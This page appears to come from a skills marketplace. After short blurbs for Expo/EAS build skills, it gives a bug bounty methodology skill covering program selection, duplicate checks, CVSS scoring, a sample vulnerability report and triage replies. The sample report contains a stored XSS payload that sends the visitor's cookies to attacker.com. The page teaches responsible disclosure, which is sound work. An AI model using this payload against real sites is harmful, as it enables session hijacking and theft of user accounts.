菜单
Bug bounty methodology — HackerOne/Bugcrowd/Intigriti, deduplication, report writing, severity scoring, payout maximization advisory. Triggers on bug bounty, HackerOne, Bugcrowd, Intigriti, H1, BB, dedup, severity, CVSS scoring, bug report writing, triage.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
Market and demand research procedures. Niche discovery, demand sizing, competitor/gap analysis, opportunity scoring, and pricing/positioning signals BEFORE building. Triggers on: market research, demand, niche, opportunity sizing, competitor analysis, TAM, positioning, pricing, go-to-market, validate idea, is there demand.
Choosing between app.json vs app.config.ts vs app.config.js, environment variables, variants, extra fields, plugin chain, and slug/scheme/bundle/version discipline. Triggers on app.json, app.config.ts, app.config.js, expo config, environment variable, .env, eas secret, variant, extra field, slug, scheme, bundle identifier, package name, version, build number, version code.
Writing Expo config plugins, withInfoPlist, withAndroidManifest, withDangerousMod, mod compose, plugin testing, and registration in app.config.ts. Triggers on config plugin, with-plugin, withInfoPlist, withAndroidManifest, withDangerousMod, withEntitlementsPlist, withGradleProperties, mod, native config, expo plugin, plugin test, app.config plugin.
Custom development builds with expo-dev-client, build profiles, a custom dev menu, runtime-version compatibility, and EAS Update integration. Triggers on expo-dev-client, dev client, custom dev build, development build, dev menu, expo go, runtime version, debug build, dev launcher, scan qr, dev server.
iOS and Android build profiles with EAS Build, credentials management, build cache, secrets, and monorepo support. Triggers on eas build, eas.json, build profile, credentials, provisioning profile, keystore, push certificate, service account, build cache, eas secret, monorepo, development build, preview build, production build.
App Store Connect and Google Play Console upload flow with EAS Submit, metadata, build-artifact selection, review notes, and phased release. Triggers on eas submit, app store connect, google play, asc api key, service account, metadata, screenshot, phased release, review notes, testflight, internal testing, production submit, release management.
| name | pentest-bugbounty |
| description | Bug bounty methodology — HackerOne/Bugcrowd/Intigriti, deduplication, report writing, severity scoring, payout maximization advisory. Triggers on bug bounty, HackerOne, Bugcrowd, Intigriti, H1, BB, dedup, severity, CVSS scoring, bug report writing, triage. |
| license | MIT |
| compatibility | Works with Claude Code |
| allowed-tools | Read Write Edit Bash Grep |
| metadata | {"author":"badi","homepage":"https://github.com/fatihkan/badi-skills/tree/main/skills/pentest-bugbounty","badi-version":">=1.24.0","category":"pentest","scope":"advisory","inspired-by":"0xSteph/pentest-ai-agents bug-bounty"} |
Bug bounty hunting discipline — authorized programs only, ROE fidelity, dedupe, quality reports.
| Factor | Impact |
|---|---|
| Scope breadth (*.target.com vs app only) | Attack surface |
| Bounty range (min-max) | ROI |
| Response SLA (in days) | Patience |
| Disclosure policy (public/private) | Portfolio growth |
| Safe Harbor (legal protection) | Risk |
| Is a researcher rating required (private prog) | Eligibility |
Recommended starting point: VDP (vulnerability disclosure program) -> public bounty -> private invitation.
Before submission:
# H1 hacktivity
curl 'https://hackerone.com/<program>/hacktivity' | jq '.results[] | select(.title | contains("<finding-keyword>"))'
# Bugcrowd public submissions
# Search on the program page
If it's the same vulnerability type + same endpoint -> duplicate risk, try another program.
Base = Impact + Exploitability
Impact (CIA):
C/I/A: None=0, Low=0.22, High=0.56
Exploitability:
AV: Network=0.85, Adjacent=0.62, Local=0.55, Physical=0.2
AC: Low=0.77, High=0.44
PR: None=0.85, Low=0.62, High=0.27
UI: None=0.85, Required=0.62
Web exploit example:
## Title
[CRITICAL] Stored XSS in admin panel allows session hijack of all admins
## Severity
CVSS 3.1: 9.0 (CRITICAL)
Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
## Summary
Authenticated low-priv user can inject JS into the comment field that
executes in admin browser when viewing dashboard. Session token is
exfiltrated to attacker-controlled domain.
## Steps to Reproduce
1. Login as low-privilege user (user@example.com / Test123!)
2. Navigate to /comments
3. Submit comment body: `<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">`
4. As admin, navigate to /admin/comments
5. Observe outbound request to attacker.com containing admin session cookie
## Impact
- Full admin compromise (session hijack)
- Persistent payload (stored DB)
- 1-click via existing admin workflow (no extra interaction)
## Proof of Concept
[screenshot1.png] — comment submission
[screenshot2.png] — admin browser request
[burp-export.har] — full HAR file
## Suggested Fix
- Server-side sanitize comment body (DOMPurify on save, not on render)
- CSP: `default-src 'self'; img-src 'self' data:`
- Cookie: `HttpOnly` + `Secure` + `SameSite=Strict`
## Additional Context
- Affected version: 4.2.1 (production as of 2026-05-15)
- Tested on: Chrome 119, Firefox 120
- No public PoC, no CVE assigned
After reporting to the program, what a triager may push back with:
| Question | Be Prepared |
|---|---|
| "We can't reproduce it" | Attach a video recording, specify browser/OS |
| "There's no user input limit anyway" | Demonstrate real impact (admin session) |
| "This is a duplicate, report N submitted it" | The different endpoint you claim / the dedup link |
| "We'll count it as Self-XSS" | Prove the multi-user impact |